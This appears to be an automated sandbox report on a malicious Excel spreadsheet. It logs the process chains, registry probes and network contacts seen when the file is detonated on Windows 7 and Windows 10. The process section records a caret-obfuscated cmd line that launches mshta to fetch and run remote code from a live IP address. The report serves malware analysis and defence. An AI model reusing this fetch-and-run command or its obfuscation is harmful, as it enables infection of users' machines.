Analysis Overview
SHA256
088fe0026ae6bf36e84c4194a3f7c4f14b4663a4b13586aa352e933c246ad940
Threat Level: Known bad
The file 088fe0026ae6bf36e84c4194a3f7c4f14b4663a4b13586aa352e933c246ad940 was found to be: Known bad.
Malicious Activity Summary
Process spawned unexpected child process
Suspicious Office macro
Blocklisted process makes network request
System Location Discovery: System Language Discovery
Modifies Internet Explorer settings
Suspicious use of WriteProcessMemory
Enumerates system info in registry
Suspicious behavior: AddClipboardFormatListener
Suspicious use of SetWindowsHookEx
Checks processor information in registry
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-11-11 17:46
Signatures
Suspicious Office macro
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-11-11 17:46
Reported
2024-11-11 17:48
Platform
win7-20240903-en
Max time kernel
122s
Max time network
131s
Command Line
Signatures
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process | N/A | C:\Windows\SysWOW64\cmd.exe | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\mshta.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\mshta.exe | N/A |
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\mshta.exe | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Modifies Internet Explorer settings
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000\Software\Microsoft\Internet Explorer\Main | C:\Windows\SysWOW64\mshta.exe | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 3012 wrote to memory of 2076 | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | C:\Windows\SysWOW64\cmd.exe |
| PID 3012 wrote to memory of 2076 | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | C:\Windows\SysWOW64\cmd.exe |
| PID 3012 wrote to memory of 2076 | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | C:\Windows\SysWOW64\cmd.exe |
| PID 3012 wrote to memory of 2076 | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | C:\Windows\SysWOW64\cmd.exe |
| PID 2076 wrote to memory of 2168 | N/A | C:\Windows\SysWOW64\cmd.exe | C:\Windows\SysWOW64\mshta.exe |
| PID 2076 wrote to memory of 2168 | N/A | C:\Windows\SysWOW64\cmd.exe | C:\Windows\SysWOW64\mshta.exe |
| PID 2076 wrote to memory of 2168 | N/A | C:\Windows\SysWOW64\cmd.exe | C:\Windows\SysWOW64\mshta.exe |
| PID 2076 wrote to memory of 2168 | N/A | C:\Windows\SysWOW64\cmd.exe | C:\Windows\SysWOW64\mshta.exe |
Processes
C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\088fe0026ae6bf36e84c4194a3f7c4f14b4663a4b13586aa352e933c246ad940.xls
C:\Windows\SysWOW64\cmd.exe
cmd /c m^sh^t^a h^tt^p^:/^/87.251.86.178/pp/cc.html
C:\Windows\SysWOW64\mshta.exe
mshta http://87.251.86.178/pp/cc.html
Network
| Country | Destination | Domain | Proto |
| DE | 87.251.86.178:80 | tcp | |
| DE | 87.251.86.178:80 | tcp |
Files
memory/3012-0-0x000000005FFF0000-0x0000000060000000-memory.dmp
memory/3012-1-0x000000007222D000-0x0000000072238000-memory.dmp
memory/3012-11-0x000000007222D000-0x0000000072238000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-11-11 17:46
Reported
2024-11-11 17:48
Platform
win10v2004-20241007-en
Max time kernel
133s
Max time network
140s
Command Line
Signatures
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process | N/A | C:\Windows\SYSTEM32\cmd.exe | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\mshta.exe | N/A |
Checks processor information in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\BIOS | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 3640 wrote to memory of 1808 | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | C:\Windows\SYSTEM32\cmd.exe |
| PID 3640 wrote to memory of 1808 | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | C:\Windows\SYSTEM32\cmd.exe |
| PID 1808 wrote to memory of 4744 | N/A | C:\Windows\SYSTEM32\cmd.exe | C:\Windows\system32\mshta.exe |
| PID 1808 wrote to memory of 4744 | N/A | C:\Windows\SYSTEM32\cmd.exe | C:\Windows\system32\mshta.exe |
Processes
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\088fe0026ae6bf36e84c4194a3f7c4f14b4663a4b13586aa352e933c246ad940.xls"
C:\Windows\SYSTEM32\cmd.exe
cmd /c m^sh^t^a h^tt^p^:/^/87.251.86.178/pp/cc.html
C:\Windows\system32\mshta.exe
mshta http://87.251.86.178/pp/cc.html
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 232.168.11.51.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 97.32.109.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | roaming.officeapps.live.com | udp |
| IE | 52.109.76.243:443 | roaming.officeapps.live.com | tcp |
| US | 8.8.8.8:53 | 243.76.109.52.in-addr.arpa | udp |
| DE | 87.251.86.178:80 | tcp | |
| US | 8.8.8.8:53 | 76.32.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 196.249.167.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 24.173.189.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 28.118.140.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 50.23.12.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 241.42.69.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 21.236.111.52.in-addr.arpa | udp |
Files
memory/3640-5-0x00007FF971250000-0x00007FF971260000-memory.dmp
memory/3640-4-0x00007FF971250000-0x00007FF971260000-memory.dmp
memory/3640-2-0x00007FF971250000-0x00007FF971260000-memory.dmp
memory/3640-1-0x00007FF971250000-0x00007FF971260000-memory.dmp
memory/3640-0-0x00007FF971250000-0x00007FF971260000-memory.dmp
memory/3640-3-0x00007FF9B126D000-0x00007FF9B126E000-memory.dmp
memory/3640-6-0x00007FF9B11D0000-0x00007FF9B13C5000-memory.dmp
memory/3640-8-0x00007FF9B11D0000-0x00007FF9B13C5000-memory.dmp
memory/3640-10-0x00007FF9B11D0000-0x00007FF9B13C5000-memory.dmp
memory/3640-9-0x00007FF9B11D0000-0x00007FF9B13C5000-memory.dmp
memory/3640-7-0x00007FF9B11D0000-0x00007FF9B13C5000-memory.dmp
memory/3640-11-0x00007FF96F1F0000-0x00007FF96F200000-memory.dmp
memory/3640-12-0x00007FF9B11D0000-0x00007FF9B13C5000-memory.dmp
memory/3640-14-0x00007FF9B11D0000-0x00007FF9B13C5000-memory.dmp
memory/3640-15-0x00007FF96F1F0000-0x00007FF96F200000-memory.dmp
memory/3640-13-0x00007FF9B11D0000-0x00007FF9B13C5000-memory.dmp
memory/3640-20-0x00007FF9B11D0000-0x00007FF9B13C5000-memory.dmp
memory/3640-19-0x00007FF9B11D0000-0x00007FF9B13C5000-memory.dmp
memory/3640-22-0x00007FF9B11D0000-0x00007FF9B13C5000-memory.dmp
memory/3640-21-0x00007FF9B11D0000-0x00007FF9B13C5000-memory.dmp
memory/3640-18-0x00007FF9B11D0000-0x00007FF9B13C5000-memory.dmp
memory/3640-17-0x00007FF9B11D0000-0x00007FF9B13C5000-memory.dmp
memory/3640-16-0x00007FF9B11D0000-0x00007FF9B13C5000-memory.dmp
memory/3640-33-0x00007FF9B11D0000-0x00007FF9B13C5000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
| MD5 | 93199082d8b7137b3ddb9c24148ec5ec |
| SHA1 | de27068caf72d50b0a51ce8738f16f86386fcc21 |
| SHA256 | 9bcae2bb0631f1009341b1b0da4627a265c6e2a04432197e86771eb95190d6c5 |
| SHA512 | d06d24853c77488923450b6578f38e8a112d4146b8b40d94b2a8fe53cd925c4fd8b7a166f256268b3d700e05b09a1f03df7f20fc3faf40c0749da5e86d832f2f |